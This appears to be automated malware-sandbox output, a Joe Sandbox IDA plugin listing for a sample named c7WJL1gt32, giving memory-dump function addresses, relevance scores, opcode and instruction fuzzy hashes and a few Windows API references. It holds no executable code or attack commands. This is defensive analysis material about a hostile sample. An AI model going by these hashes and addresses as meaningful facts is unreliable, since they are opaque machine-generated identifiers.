Instruction ID: 964bfaba6fe47efa91ae3b9d04416f3a0311ddb8c2b0a677c8b566ff70b98767
Opcode Fuzzy Hash: 8f8798618dbeb96281b7e152f222c6bef4cfc1fb78c0b92afc6d3f182eb863fd
Instruction Fuzzy Hash: 08D012315150205BC2011738BD4C85B7A589F553357228B37B866F61E0C7348C62869C

Function 37B6E790 Relevance: 1.5, Strings: 1, Instructions: 274COMMON

Download Yara Rule

Strings

D, xrefs: 37B6E799

Memory Dump Source

Source File: 00000004.00000002.2979934383.0000000037B60000.00000040.00000800.00020000.00000000.sdmp, Offset: 37B60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_37b60000_c7WJL1gt32.jbxd

Similarity

API ID:
String ID: D
API String ID: 0-2746444292
Opcode ID: 836792712b543976eba727f14fb4ac69a3340f8a71fd7f6bb882757092d0115a
Instruction ID: 735c28342c15c319b79403becacbbd25bf242d319fc2376077569eb4d11f5198
Opcode Fuzzy Hash: 836792712b543976eba727f14fb4ac69a3340f8a71fd7f6bb882757092d0115a
Instruction Fuzzy Hash: 05C1B474E00218CFEB14DFA9C994B9DBBB2BF89304F1081A9D509AB355DB359E85CF50

Function 37B6DEE1 Relevance: 1.5, Strings: 1, Instructions: 273COMMON

Download Yara Rule

Strings

u8,, xrefs: 37B6DEE9

Memory Dump Source

Source File: 00000004.00000002.2979934383.0000000037B60000.00000040.00000800.00020000.00000000.sdmp, Offset: 37B60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_37b60000_c7WJL1gt32.jbxd

Similarity

API ID:
String ID: u8,
API String ID: 0-3853202635
Opcode ID: baae201ddbb4bd52e2428d2201ecdb7b25d645d4178e265ce67e0d492e82f8a1
Instruction ID: be38c065e9d41a709ed95060ec90ccb1c9aa4e19f79296997f0312862e514b9a
Opcode Fuzzy Hash: baae201ddbb4bd52e2428d2201ecdb7b25d645d4178e265ce67e0d492e82f8a1
Instruction Fuzzy Hash: B0C19074E00218CFEB14DFA9C994B9DBBB2BB89304F6081A9D508BB355DB359E85CF50

Function 38317B4F Relevance: .6, Instructions: 599COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2980323979.0000000038310000.00000040.00000800.00020000.00000000.sdmp, Offset: 38310000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_38310000_c7WJL1gt32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2d5608708c3f1e261d955c1ae69556c534691f1be0cc4fbbf93b9e5452ae7085
Instruction ID: 7a27a4c7c50b590fcc42dc0abeaa4652308fc8c2a37fbffe6bd7f9b336b4ff10
Opcode Fuzzy Hash: 2d5608708c3f1e261d955c1ae69556c534691f1be0cc4fbbf93b9e5452ae7085
Instruction Fuzzy Hash: 6E629B74A01228CFDB64DF69C984B9DBBB2BB89301F1085EAD409A7365DB359E85CF40

Function 37B6B07F Relevance: .3, Instructions: 277COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2979934383.0000000037B60000.00000040.00000800.00020000.00000000.sdmp, Offset: 37B60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_37b60000_c7WJL1gt32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 12943861d81469962ec3ed1b60eaee556524c4426561609f1311b4765c77b940
Instruction ID: da65b7948c09c8b525ced22a6f4ba4b63de88bd1ba9e5a381db45bbb67fc3f12
Opcode Fuzzy Hash: 12943861d81469962ec3ed1b60eaee556524c4426561609f1311b4765c77b940
Instruction Fuzzy Hash: 1DC1B174E01218CFEB14DFA5C994BADBBB2AF89304F2080A9D509BB355DB359E85CF10

Function 37B6F044 Relevance: .3, Instructions: 277COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2979934383.0000000037B60000.00000040.00000800.00020000.00000000.sdmp, Offset: 37B60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_37b60000_c7WJL1gt32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2e8442c2e78619b11de93a0adbdbaa15ed8dfae9b48af669129dcb43f211e001
Instruction ID: abaa1895064f0b22c45daf4f2b0537cb59f28f6871d90a9732192f507b2a1fc3
Opcode Fuzzy Hash: 2e8442c2e78619b11de93a0adbdbaa15ed8dfae9b48af669129dcb43f211e001
Instruction Fuzzy Hash: C5C1A174E00218CFEB14DFA9C994B9DBBB2AF89304F5080A9D508BB355DB359E85CF50

Function 37B6BD88 Relevance: .3, Instructions: 276COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2979934383.0000000037B60000.00000040.00000800.00020000.00000000.sdmp, Offset: 37B60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_37b60000_c7WJL1gt32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2f2c361e52d76a6945e4776ade07febebc1db577d2dc6d539a9490d301c93cf0
Instruction ID: fe03bfc8b5d6f0422b90e40a31c677aca9ab49c64e202b48cf4ef5a73eeeb9e3
Opcode Fuzzy Hash: 2f2c361e52d76a6945e4776ade07febebc1db577d2dc6d539a9490d301c93cf0
Instruction Fuzzy Hash: CBC1B474E00218CFEB14DFA9C994B9DBBB2AF89304F2081A9D509BB355DB359E85CF50

Function 37B6E339 Relevance: .3, Instructions: 272COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2979934383.0000000037B60000.00000040.00000800.00020000.00000000.sdmp, Offset: 37B60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_37b60000_c7WJL1gt32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 75e48adecc37f79d5ac0a3be8357d8297e3523d70275fc6b36bd034920002b36
Instruction ID: 7d92c75fcdb9ffef685cb9bf3a40de54bb2fb748b9d3b14f8f25287ca8c14e74
Opcode Fuzzy Hash: 75e48adecc37f79d5ac0a3be8357d8297e3523d70275fc6b36bd034920002b36
Instruction Fuzzy Hash: 28C19074E00218CFEB54DFA9C994BADBBB2BB89304F1080A9D508BB355DB359E85CF51

Function 37B6DA89 Relevance: .3, Instructions: 272COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2979934383.0000000037B60000.00000040.00000800.00020000.00000000.sdmp, Offset: 37B60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_37b60000_c7WJL1gt32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bc4d496de435f4566afec0ea58347ad679ca57c103d9ef231b43e58377e6b1ec
Instruction ID: 7d3d7c5a8d4c349907cf8fafeed03053d02c9619266a2d945446974a63d3fb97
Opcode Fuzzy Hash: bc4d496de435f4566afec0ea58347ad679ca57c103d9ef231b43e58377e6b1ec
Instruction Fuzzy Hash: 48C1A174E00218CFEB14DFA9C994BADBBB2AF89304F1081A9D509BB355DB359E85CF50

Function 38314820 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2980323979.0000000038310000.00000040.00000800.00020000.00000000.sdmp, Offset: 38310000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_38310000_c7WJL1gt32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d49fe2149ebeebae0676d51c211795848db520e3b88dbbc408e7b2181078a25c
Instruction ID: 8f29124a4cc4d8df58ced8e1db248c8c6a2783223d814389950524088a379d93
Opcode Fuzzy Hash: d49fe2149ebeebae0676d51c211795848db520e3b88dbbc408e7b2181078a25c
Instruction Fuzzy Hash: FAC19174E00218CFDB14DFA9C994B9DBBB2AF89300F5081A9D509BB365DB359E85CF50

Function 38317070 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2980323979.0000000038310000.00000040.00000800.00020000.00000000.sdmp, Offset: 38310000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_38310000_c7WJL1gt32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bcb01efdebc4f36f52d99042a6f9ce601c8083d33a9f4df1589b39a3fc65296f
Instruction ID: 0525d4cc0189713c688afccce605d9e571f41f27f5a10d930c81ea27efd70351
Opcode Fuzzy Hash: bcb01efdebc4f36f52d99042a6f9ce601c8083d33a9f4df1589b39a3fc65296f
Instruction Fuzzy Hash: 37C1A174E00218CFDB14DFA9C994B9DBBB2BF89300F5080A9D509AB355DB359E85CF50

Function 38311858 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2980323979.0000000038310000.00000040.00000800.00020000.00000000.sdmp, Offset: 38310000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_38310000_c7WJL1gt32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c35762c7f159137755643edc542659900244529e511fd430732d2da08a7757a0
Instruction ID: 036a03c1d62e4ffed9efa88afe95320b83b569a3cdbe7f965b2b54453dd7be54
Opcode Fuzzy Hash: c35762c7f159137755643edc542659900244529e511fd430732d2da08a7757a0
Instruction Fuzzy Hash: 8EC19074E00218CFDB58DFA9C994B9DBBB2AF89300F5090A9D409AB365DB359E85CF50

Function 38312108 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2980323979.0000000038310000.00000040.00000800.00020000.00000000.sdmp, Offset: 38310000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_38310000_c7WJL1gt32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ad31a8d4878fd5f83df16958dfaf83de364c64108b865cbe67b34c8faec71ec3
Instruction ID: 33f42ac042ad05896fbee00c9eb597a42494d55300cbaa59e90618018515e80f
Opcode Fuzzy Hash: ad31a8d4878fd5f83df16958dfaf83de364c64108b865cbe67b34c8faec71ec3
Instruction Fuzzy Hash: 21C1A174E00218CFDB54DFA9C994B9DBBB2BF89300F5080A9D509AB355DB359E86CF50

Function 383129B8 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2980323979.0000000038310000.00000040.00000800.00020000.00000000.sdmp, Offset: 38310000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_38310000_c7WJL1gt32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c5bdbac5546028335367e8ca2ed299ed7dd71c51d8af0994d2ff9159bc473b43
Instruction ID: c7f8c30bd9465f9d8c717c783d007b749d244fa635a6b057ad8d175efc3cd381
Opcode Fuzzy Hash: c5bdbac5546028335367e8ca2ed299ed7dd71c51d8af0994d2ff9159bc473b43
Instruction Fuzzy Hash: 3BC19074E00218CFDB58DFA9C994B9DBBB2BF89300F5080A9D509AB355DB359E85CF50

Function 38315208 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2980323979.0000000038310000.00000040.00000800.00020000.00000000.sdmp, Offset: 38310000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_38310000_c7WJL1gt32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 09006d714f3f1678d30e64166cc75db9eebfe5c3e0b797cd7c998692309de399
Instruction ID: abd5be0c235385ff971e6e991bab0d76817b9cdfec7742f6eb1773411f4d4489
Opcode Fuzzy Hash: 09006d714f3f1678d30e64166cc75db9eebfe5c3e0b797cd7c998692309de399
Instruction Fuzzy Hash: F3C1A074E00218CFDB54DFA9C994B9DBBB2BF89300F6080A9D409AB365DB359E85CF50

Function 38313268 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2980323979.0000000038310000.00000040.00000800.00020000.00000000.sdmp, Offset: 38310000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_38310000_c7WJL1gt32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7177fb0897f3aa9c3d5074084f230b672cd1d9ac06f77c32bb9969b4304581ae
Instruction ID: 807f4e936462bfeaacd05ffa8280e5503c6755394addb3e1bd79a4b2f1f34c3a
Opcode Fuzzy Hash: 7177fb0897f3aa9c3d5074084f230b672cd1d9ac06f77c32bb9969b4304581ae
Instruction Fuzzy Hash: AFC1A074E00218CFDB14DFA9C994B9DBBB2AF89300F1080A9D408BB355DB359E85CF51

Function 38315AB8 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2980323979.0000000038310000.00000040.00000800.00020000.00000000.sdmp, Offset: 38310000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_38310000_c7WJL1gt32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c8045d17cfab504151b2fba96cec6812e01879c596ea1ce209b145105b71b516
Instruction ID: a35943adf813e1c628d42f8d8021346e14220f73b833bfda359321020b4089c5
Opcode Fuzzy Hash: c8045d17cfab504151b2fba96cec6812e01879c596ea1ce209b145105b71b516
Instruction Fuzzy Hash: D4C19F74E01218CFDB14DFA9C994B9DBBB2BF89300F6080A9D509AB365DB359E85CF50

Function 38313B18 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2980323979.0000000038310000.00000040.00000800.00020000.00000000.sdmp, Offset: 38310000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_38310000_c7WJL1gt32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 13d5dc7e85808d4d4f7b6a5b50b2eb9ef21115dcbd7b335f5b6df8074882ca58
Instruction ID: 1da4ddfbfdf2b05c3411fe9c7a3635f404c09625ef396a63650455b98cfffd2c
Opcode Fuzzy Hash: 13d5dc7e85808d4d4f7b6a5b50b2eb9ef21115dcbd7b335f5b6df8074882ca58
Instruction Fuzzy Hash: E6C19F74E00218CFDB54DFA9C994B9DBBB2AF89300F6080A9D409BB365DB359E85CF51

Function 38316368 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2980323979.0000000038310000.00000040.00000800.00020000.00000000.sdmp, Offset: 38310000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_38310000_c7WJL1gt32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e3a57a567667f85c4707c0b7ce5baa28a55552bd2d804874745c9c4f48ede62d
Instruction ID: 7d7a06435d818bc0fa18d16fec314812578a0de20d3e0417eb24fccd6701cb8c
Opcode Fuzzy Hash: e3a57a567667f85c4707c0b7ce5baa28a55552bd2d804874745c9c4f48ede62d
Instruction Fuzzy Hash: A5C1A074E00218CFDB14DFA9C994B9DBBB2AF89300F1081A9D409AB365EB359E85CF50

Function 383143C8 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2980323979.0000000038310000.00000040.00000800.00020000.00000000.sdmp, Offset: 38310000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_38310000_c7WJL1gt32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4ad350c40b989b4ea29ee071d3095fdd6c447c0454383e0f354c283b792a6274
Instruction ID: e2c52d27caeed1ce431de69ca0eb8b0d34bcad72850c1230f56b3219b7cb6033
Opcode Fuzzy Hash: 4ad350c40b989b4ea29ee071d3095fdd6c447c0454383e0f354c283b792a6274
Instruction Fuzzy Hash: 6FC19F74E00218CFDB14DFA9C994B9DBBB2BF89304F6080A9D409AB365DB359E85CF50

Function 38316C18 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2980323979.0000000038310000.00000040.00000800.00020000.00000000.sdmp, Offset: 38310000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_38310000_c7WJL1gt32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 75f3194aa4dfc87573fe5bfd692101d9780f765b48a28074e823a1235af2b2bc
Instruction ID: 76c2a6bbc3feef63180f91033016c7709e071a1dcd8df1a39b5f8d409ab7e7ae
Opcode Fuzzy Hash: 75f3194aa4dfc87573fe5bfd692101d9780f765b48a28074e823a1235af2b2bc
Instruction Fuzzy Hash: 64C19074E00218CFDB14DFA9C994B9DBBB2BF89300F5081A9D509AB365DB359E85CF50

Function 38311400 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2980323979.0000000038310000.00000040.00000800.00020000.00000000.sdmp, Offset: 38310000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_38310000_c7WJL1gt32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b255fbb04a2aee1c20b098eb7198cf78fafea5317250721d52c6e641c894d58c
Instruction ID: b24c0ef7ceda0147fd487481a59d110028a7f76424083c91778924010ab61015
Opcode Fuzzy Hash: b255fbb04a2aee1c20b098eb7198cf78fafea5317250721d52c6e641c894d58c
Instruction Fuzzy Hash: ACC19074E00218CFDB14DFA9C994B9DBBB2BF89300F6090A9D509AB355DB359E85CF50

Function 38311CB0 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2980323979.0000000038310000.00000040.00000800.00020000.00000000.sdmp, Offset: 38310000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_38310000_c7WJL1gt32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b85b8890bde0479e85d9c35ac279f8abb2e82e3d49f862e0858f12daea792acb
Instruction ID: ae51de7fcb44c965d8e63f3dac9a7456ee490bc4412d62e66c4bb196a4e73e0d
Opcode Fuzzy Hash: b85b8890bde0479e85d9c35ac279f8abb2e82e3d49f862e0858f12daea792acb
Instruction Fuzzy Hash: 2AC1A074E00218CFDB14DFA9C994B9DBBB2AF89300F6081A9D909AB355DB359E85CF50

Function 383174C8 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2980323979.0000000038310000.00000040.00000800.00020000.00000000.sdmp, Offset: 38310000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_38310000_c7WJL1gt32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0db9b2e186053fa41a155fd307557c443c80517bb0770f1cf1df512476161e22
Instruction ID: b802153fad0a77d226298b8c8ebb85605ce8b343f28489865de27294475a7a1c
Opcode Fuzzy Hash: 0db9b2e186053fa41a155fd307557c443c80517bb0770f1cf1df512476161e22
Instruction Fuzzy Hash: 6DC19074E00218CFEB54DFA9C994B9DBBB2BF89300F5080A9D509AB365DB359E85CF50

Function 38312560 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2980323979.0000000038310000.00000040.00000800.00020000.00000000.sdmp, Offset: 38310000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_38310000_c7WJL1gt32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b5e28a1d1ec869cdd650485768414e6cf436fb43b2bc5ae16e5f23f9d8b8476e
Instruction ID: ab452afda23a50cbab29422a8059baa6a985cdf2e7da7bf2b79abb0e8cedb8a5
Opcode Fuzzy Hash: b5e28a1d1ec869cdd650485768414e6cf436fb43b2bc5ae16e5f23f9d8b8476e
Instruction Fuzzy Hash: 2EC19074E00218CFDB14DFA9C994B9DBBB2AF89300F5080A9D809AB365DB359E85CF50

Function 38314DB0 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2980323979.0000000038310000.00000040.00000800.00020000.00000000.sdmp, Offset: 38310000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_38310000_c7WJL1gt32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cca8d7ef6c74b468f2c4f0975ace314133c52b780ece69cc85c61936d31d0e03
Instruction ID: ba8b15e539747c945434827cca09a288fa6044f6d60984370bb33f0199228997
Opcode Fuzzy Hash: cca8d7ef6c74b468f2c4f0975ace314133c52b780ece69cc85c61936d31d0e03
Instruction Fuzzy Hash: 38C19074E00218CFEB14DFA9C994B9DBBB2AF89300F6081A9D509BB355DB359E85CF50

Function 38312E10 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2980323979.0000000038310000.00000040.00000800.00020000.00000000.sdmp, Offset: 38310000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_38310000_c7WJL1gt32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 351076f1a69b2fd8ebd051dedaf11f5f8231789e98794d72488feb04ce778dcf
Instruction ID: a1e36bfbcde4975401e3c72c7ca413bb0af58fa60ccaf9795239507c514c2ce0
Opcode Fuzzy Hash: 351076f1a69b2fd8ebd051dedaf11f5f8231789e98794d72488feb04ce778dcf
Instruction Fuzzy Hash: 4BC1A174E00218CFDB54DFA9C994B9DBBB2AF89300F5080A9D409BB365DB359E86CF51

Function 38315660 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2980323979.0000000038310000.00000040.00000800.00020000.00000000.sdmp, Offset: 38310000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_38310000_c7WJL1gt32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c0a8710f85b10e66c13958a9c5ca31f60194ff44ec352c4b05e1a01244c0d938
Instruction ID: a80a84c6db01720f6ae78080f38598e572ff461d93d604b27b8ba21b8c6aa7bd
Opcode Fuzzy Hash: c0a8710f85b10e66c13958a9c5ca31f60194ff44ec352c4b05e1a01244c0d938
Instruction Fuzzy Hash: 2FC19074E00218CFDB54DFA9C994B9DBBB2BF89300F6080A9D509AB365DB359E85CF50

Function 383136C0 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2980323979.0000000038310000.00000040.00000800.00020000.00000000.sdmp, Offset: 38310000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_38310000_c7WJL1gt32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 347f65bd1858f93e9ff7113c898a3e58304bb14bf58a2873a826edd01740fbf4
Instruction ID: 34ccf65944318cbb6059f52eac8255ab19506010870fc2b85fd56efa10032c24
Opcode Fuzzy Hash: 347f65bd1858f93e9ff7113c898a3e58304bb14bf58a2873a826edd01740fbf4
Instruction Fuzzy Hash: 99C19F74E01218CFDB14DFA9C994B9DBBB2AF89300F6080A9D409BB365DB359E85CF51

Function 38315F10 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2980323979.0000000038310000.00000040.00000800.00020000.00000000.sdmp, Offset: 38310000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_38310000_c7WJL1gt32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8b027e64c5231b3fddd0935a334f376a8096f994571423d4950cc7f90a5235a2
Instruction ID: 1b8588b3c8b7d66f9abfec3c3531c4106e6891159e30c85041f5e20d3b47411e
Opcode Fuzzy Hash: 8b027e64c5231b3fddd0935a334f376a8096f994571423d4950cc7f90a5235a2
Instruction Fuzzy Hash: 9CC1A174E00218CFDB54DFA9C994B9DBBB2AF89300F5081A9D409AB365DB359E85CF50

Function 38313F70 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2980323979.0000000038310000.00000040.00000800.00020000.00000000.sdmp, Offset: 38310000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_38310000_c7WJL1gt32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1201104f4fabad4d3d97588c0f4b40112e56c2558e68d79e6510ee6e0590bfd5
Instruction ID: 37cb85635f3d21fd060e873f80def751b3893d833faab35d0ce7bee4d70b5bb0
Opcode Fuzzy Hash: 1201104f4fabad4d3d97588c0f4b40112e56c2558e68d79e6510ee6e0590bfd5
Instruction Fuzzy Hash: 8CC19074E00218CFDB54DFA9C994B9DBBB2BF89300F6080A9D409AB365DB359E85CF51

Function 38310FA8 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2980323979.0000000038310000.00000040.00000800.00020000.00000000.sdmp, Offset: 38310000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_38310000_c7WJL1gt32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fe169ba029e28fca085e74596ddf97a31a533db77ff6c3962381117f4544ab52
Instruction ID: 9a3bcab2eb267f00e774f35e9b21881c652940051bbcc09bec06372cde8c5685
Opcode Fuzzy Hash: fe169ba029e28fca085e74596ddf97a31a533db77ff6c3962381117f4544ab52
Instruction Fuzzy Hash: 31C1A074E00218CFDB54DFA9C994B9DBBB2BF89300F5090A9D408AB365DB359E85CF50

Function 383167C0 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2980323979.0000000038310000.00000040.00000800.00020000.00000000.sdmp, Offset: 38310000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_38310000_c7WJL1gt32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cfa22b48a43ddcbc9a01e57ce30870233ba8fea4dd88d38e39cffcf9d181e8f3
Instruction ID: 9fcbe8e1ff3ad31e039df981fe1a2e7fa8d975b13775deda06257e776dbb68d9
Opcode Fuzzy Hash: cfa22b48a43ddcbc9a01e57ce30870233ba8fea4dd88d38e39cffcf9d181e8f3
Instruction Fuzzy Hash: B9C1A074E01218CFDB14DFA9C994B9DBBB2BF89300F5081A9D409AB365EB359E85CF50

Function 37B6B4D8 Relevance: .3, Instructions: 263COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2979934383.0000000037B60000.00000040.00000800.00020000.00000000.sdmp, Offset: 37B60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_37b60000_c7WJL1gt32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7bde8837a38192f01941f57631dea15530aaeb3f133f6f9b33db4d41f15b50ea
Instruction ID: c326717b7e5bad791114462b9b571f7ed057bfab64bd665653d840f6c50a3f7d
Opcode Fuzzy Hash: 7bde8837a38192f01941f57631dea15530aaeb3f133f6f9b33db4d41f15b50ea
Instruction Fuzzy Hash: 3EC19174E00218CFEB14DFA9C994B9DBBB2AF49304F6080A9D509BB355DB359E86CF50

Function 37B6C1E0 Relevance: .3, Instructions: 262COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2979934383.0000000037B60000.00000040.00000800.00020000.00000000.sdmp, Offset: 37B60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_37b60000_c7WJL1gt32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d2736a2396d9d740ec105f9ac8cd959083eb79a10410cd8b8c887621c54619d1
Instruction ID: 7ac19cc2a70f7cbba6f944975e469c4ca3ba38e7b69211c1dc2efb31841b8316
Opcode Fuzzy Hash: d2736a2396d9d740ec105f9ac8cd959083eb79a10410cd8b8c887621c54619d1
Instruction Fuzzy Hash: 94C1A274E00218CFDB14DFA9C994BADBBB2AF89304F1081A9D509AB355DB359E86CF10

Function 37B6B930 Relevance: .3, Instructions: 262COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2979934383.0000000037B60000.00000040.00000800.00020000.00000000.sdmp, Offset: 37B60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_37b60000_c7WJL1gt32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fb463a4b904d54be080964c50bbefbc0486cd79552303fabe441c793f4ebbcda
Instruction ID: 9b0f7bdf0c56fd5c075463e488bf74ae388145226e3e8d4782738b1803d3b9d8
Opcode Fuzzy Hash: fb463a4b904d54be080964c50bbefbc0486cd79552303fabe441c793f4ebbcda
Instruction Fuzzy Hash: 25C19174E00218CFEB14DFA9C994B9DBBB2BF89304F2080A9D509AB355DB359E85CF50

Function 37B6EBE8 Relevance: .3, Instructions: 257COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2979934383.0000000037B60000.00000040.00000800.00020000.00000000.sdmp, Offset: 37B60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_37b60000_c7WJL1gt32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 25777bea3d09dc483dad059ba9d88efc53d0b057839fee23e058775ffbd42ff5
Instruction ID: 20e23bfe379c82456b88943eda90f265530ffe1fea7f85769118610acb5a01cf
Opcode Fuzzy Hash: 25777bea3d09dc483dad059ba9d88efc53d0b057839fee23e058775ffbd42ff5
Instruction Fuzzy Hash: 09C1A074E00218CFEB14DFA9C994B9DBBB2BF89304F6080A9D509AB355DB359E85CF50

Function 0040558F Relevance: 66.8, APIs: 36, Strings: 2, Instructions: 284windowclipboardmemoryCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,00000403), ref: 004055ED
GetDlgItem.USER32(?,000003EE), ref: 004055FC
GetClientRect.USER32(?,?), ref: 00405639
GetSystemMetrics.USER32(00000002), ref: 00405640
SendMessageW.USER32(?,00001061,00000000,?), ref: 00405661
SendMessageW.USER32(?,00001036,00004000,00004000), ref: 00405672
